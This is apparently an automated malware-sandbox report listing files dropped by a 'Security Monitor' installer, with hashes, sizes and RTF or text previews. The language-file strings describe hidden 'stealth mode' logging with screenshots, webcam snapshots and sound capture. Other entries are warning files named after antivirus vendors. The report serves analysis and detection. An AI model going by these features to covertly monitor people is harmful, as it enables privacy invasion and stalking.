Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48087
Entropy (8bit):	5.042429118311867
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/fB5+aWqeNgVVhGPNNlV9GEijSKcAPv6SAJjeR+RP8yJ0LTrI6JtOt:2e7dRRoIA9f
MD5:	4BF6C8774BA58F01B8916C5DDD525E82
SHA1:	F493778C8F8CBD77CC9FC11F1E628FD05C6B0F87
SHA-256:	1D3481510B1220FF2BB3EFBC4137E73A237842AEC233E289EDE6039412FC1ACA
SHA-512:	208BA94ECDB45A089AD16A665DA51C7C29267268DE83DFC4F44D8EE29805031DD79E9681E12F6D5C8CE9C8E13FAFB3CB9C5DA535712416D4941233E546A794A8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	51468
Entropy (8bit):	5.04658714654288
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f15+0UcENgVVhGPNIlV9GEijaKcAPv6SAJjmYWR8KdYJ2nkfleSQ+:2e78tYiIA9U
MD5:	80A5E124BF233B48028E3886DE7897EB
SHA1:	F21E4120B6E2C4CABB5A2640AA208E9A94E193B7
SHA-256:	99807A4CF83C65D73CA39ADCC5058B28CA17812102304288420BAF9091DCDACE
SHA-512:	8168FB4A5E19938352E6E2662330214FB4A4209BD015F9615E3308FB808633EF346BAD56ED85B9946D8B40F87680B8B09B3676EF9591BDD27131A3C5842423D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66281
Entropy (8bit):	5.021285329842295
Encrypted:	false
SSDEEP:	768:2QFDJw1w0kWBP+WLZdfzbwKsFPcZR1yc+rZE7feMShR/pVRVGcefxRBcnjX8x3JO:2Q4Bb6IA9Z
MD5:	B9DE79AB06478D9A6CDFB82A7578E374
SHA1:	E103E4E779C53988209B3F0F752754162A5F638B
SHA-256:	7BCF98FA23001662B53624E64A48F45581CC6A5B70D53204203184A94581041B
SHA-512:	98F38D4D6CE05FA571C3AD3EE7C8751777F2A6EFB95C619DCD55F3F873AEC2842A578CE4CC654F2AA56E015D3D29955B8C49FE38CC3CBFD1B9D9910E9C7D9EED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53408
Entropy (8bit):	5.027531716371282
Encrypted:	false
SSDEEP:	768:2QFDC47+EvnaBT2njX8x33HcSAzpdhN0XmQ6ZdgvSSIAPZIAP6IAe+XUNRXp76PC:2QDXJksIA9U
MD5:	3BA78ADB6E868B5B64CA3AFD406569D8
SHA1:	3E8031CC5453C731A67604B495AEC251CAA93843
SHA-256:	C4EAC5BC2B6C11C7ED8741FF1ACCCAB71230E01EDD80403655EE54254673DA83
SHA-512:	28F58E5595C7DA45F3361C18B12014831D49B84D0FB572D331F2CFA71B8B22B16502DCDDFF6486F7767976BA0B379CBB21F467F9843962E4EA8A1E5E889EE79C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50160
Entropy (8bit):	5.04516355825557
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f95+6+WGNgVVhGPNolV9GEijPKcAPv6SAJjZR6TYqEkc0ij82oXTq:2e796RTIA9l
MD5:	D515DFD169E7F576978E8DDF94C8F57C
SHA1:	776FDAA33E7FBEFB6ECCB018DEEBEC03F23977E9
SHA-256:	3B6A48D3D59E44B95C982CD39E4F58CC7FA62237A089BDAC7844838F33C5CCD8
SHA-512:	8A61180120ED053F471874E0A8FA145071E39F89633C5C7085E84EBAC8BCC2E734E68F95D0B5C5C71CF168D5824D044D38C3C330CF2093121019D953C73A3431
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48219
Entropy (8bit):	5.043881411943709
Encrypted:	false
SSDEEP:	768:2eFfzxZCsxIa4IRVIvOM/rvg20xLjIddpuXVfs+zKjkMpTFFJ+kH3q+1yMPhU32n:2e7uFdIA9V
MD5:	8C8176E8F2409E52F66BA8228B6EEEF4
SHA1:	ED1F5902631C6273022B8C1C6582BD15FA76107F
SHA-256:	FFE2EACEDE61AFC4BEF5370CF51CF41430F2660FEF291087150EF773793F5448
SHA-512:	3210FB8DDB601E1CC322213CFAD6F6A463D882CCD2BA21A4ED19414FC074FA3AD597AAEA75F6B14D857EBE7FB54B5B0594F2661EDC7BAEC0BB26C746C841283D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.0360425372195605
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f85+jpnrNgVVhGPN2lV9GEijDKcAPv6SAJjVSkVeUZ53dqaYHErLm:2e720SvIA9l
MD5:	6C1BF76AEB182845D933C43B2FD3AD7E
SHA1:	2B5CF1297A2F29E1181C2231A521E57C207D16EC
SHA-256:	972A316D680C8D41CC19BE92E617D07832A9038CE9E5EEA23F1ABCC5DA983EE4
SHA-512:	7CC2F42278CDCC2DE781C8776095C83DB4739B635CDD93299A0BF08613C198A20F640BA8488C0B0655012D57B59F413EAF7EE57481BD4EBA3F5556E079D304B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46096
Entropy (8bit):	5.034181446312948
Encrypted:	false
SSDEEP:	768:2FFU347wx2Oa75aEZM/rvg20xQBcqtqYepjRBcnjX8x3b99QONKaQB2Ctj+Z/6AI:2Fp7FIA9u
MD5:	B8B7FAFEA8A56DF708E8CE7BB37516F2
SHA1:	FA15A15E9BD2B99CE60BDF170FBD668F89D87C7C
SHA-256:	E28805183757391F057ADA505CD5648E029FBB4D3DBCDDB9B19B8135A11EC113
SHA-512:	C8D9F66F94D32353F59FF2A28153647906B01ECE715A764BA33B907E81B27AE411FE951ECDD039A9BD596B7EEA1CD9CC802991EE74BB8FF71A1BE051B6CC32A3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17468
Entropy (8bit):	4.879377232061119
Encrypted:	false
SSDEEP:	192:f9xAt+/MjlJ/5mOT3Y7hzjeJRz1QIGiGU/F6lDCDjY3qfTmXq6Cf3CxMprBarJKW:f9xAt+/YJRm7hzjqRzlXjUo7Qgo7c8DD
MD5:	C3930BE227C51A5887BFB0F6D8575548
SHA1:	D6A32283BC35FE18207EDAE4626D5D299CE50592
SHA-256:	E50FDC95BC49000FF5DC52A830925CEDF684B2F7100397BFB22D8D5430E920F0
SHA-512:	F42F25DAC17F0096CA2EA998E0B84A1A8CFFABAB5256C24DAAA1210F50DB43D903D481C64C98250EB7A5297684582D085540EA445F6E7156DBA3ADC42410AA57
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Enable logging"..tbStop="Stop"..tbStopHint="Disable logging"..tbFind="Find"..tbFindHint="Search for log information"..tbSetting="Settings"..tbSettingHint="Program settings"..tbAbout="About"..tbAboutHint="About / registration info"..tbHomePage="Home Page"..tbHomePageHint="Go to the Program Home Page"..tbToday="Today"..tbTodayHint="Go to todays log"..tbHide="Hide"..tbHideHint="Stealth mode (no icon in the System Tray)"..tbMinimize="Minimize"..tbMinimizeHint="Minimize to Tray"..tbExit="Exit"..tbExitHint="Exit and stop log"..gbLog="Event Log"..tCurrLogSize="Log Size (Mb)"..tCurrScrSize="Screenshots Size (Mb)"..tCurrSnpSize="Webcam Snapshots size (Mb)"..tCurrSoundsSize="Sound files size (Mb)"..tCurrVideosSize="W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\360_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44577
Entropy (8bit):	5.047991849900316
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsH5GmTF187V63Fq+1h1r1FOZ/6A9b:2amAhHzF187g3Fq+1h1r1FOIA9b
MD5:	91A847C22456099C70F172382B194CBD
SHA1:	E3C2687C4166260A3C70B667341DB4773461D45D
SHA-256:	84D171982B9A0B79099979907F3347B0E21DEC8162F8DB41C22097D89EA4D7AD
SHA-512:	C194CF609F25F2813696E8FA33178917E63FFB6B9BFC2F78A5E7384D97434CC8545C585B3D94829D4F4ABD5BF2A9FB28383EB22ABF8F3166AD3AB875BDE35E28
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\AVG_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44224
Entropy (8bit):	5.048946998383766
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsM5qWUTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhMuF4BaA3F1+1h1r1KDIA9z
MD5:	72509EF33CF9A21325EB2DD67445BA6A
SHA1:	37F7D53B232DE88B3F7D1CDD6813598DD611194D
SHA-256:	6C266D43303DCAC9CE57903481E22442AABD532FFD6E4ADF5C3E4B7820E8CBA8
SHA-512:	00957DDFF315CC324CE9EAAA890EC2712543DEA6ADC8892BCCED84445AF7A8701066FF44708396D63F3F8FEFC1FBEC8EEB687A4A9009632E1644D095300B2542
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Avast_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44198
Entropy (8bit):	5.048748452821434
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsQ5x8tTF4BaVy3F1+1h1r1KDZ/6A95:2amAhQsF4BaA3F1+1h1r1KDIA95
MD5:	B09494F1B4F83DBB2489B542B911DFB3
SHA1:	02BA1EB53181B33E02138D564B00DF6FF7084091
SHA-256:	901AFF931E90289B75F9385BE37787DF1A88D67419623904BD8C9C7AD9CBE21A
SHA-512:	79BDB81018FD674776B10007A0FEAFD3B4A16718ED531EFAFDE80F54A924281A4199A7F1A3005C8FF9BE4E6DE2240C4C480667C0A99E134BBA0BF0A414BFD257
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Avira_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44503
Entropy (8bit):	5.048234089968532
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsr5YJTF187V63F1+1h1r1FOZ/6A9b:2amAhryF187g3F1+1h1r1FOIA9b
MD5:	22F6CDCCE6FACBA92B6D270D8C66B570
SHA1:	7290B603CFA4FB5A44C379220E0694A41138C9B8
SHA-256:	B4BBF6FF64527A29990C52C45852C3A9C25D23A44650A9C78233B2440B731B60
SHA-512:	BCC875F094806C5B461A1C62E8A51F9A03BC213B1B48D0ECA421057EF7371C3C7B57A0FAF5765A6F86975B7B9AF98A64141CCBF8CD7E301D6A1A182C3B9935B8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Kaspersky_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44558
Entropy (8bit):	5.049062407758663
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsc5NcTF4BaVy3F1+1h1r1KDZ/6A9L:2amAhcWF4BaA3F1+1h1r1KDIA9L
MD5:	16036186160BEB81F13561AE51DCFBED
SHA1:	BB644BD11DABCC9F453A71745D7CF12A1621FEBA
SHA-256:	AE0674BF9ECDCD8A1550E0ECA0529EED66E9786B6029AE6EB5414769205FDAA2
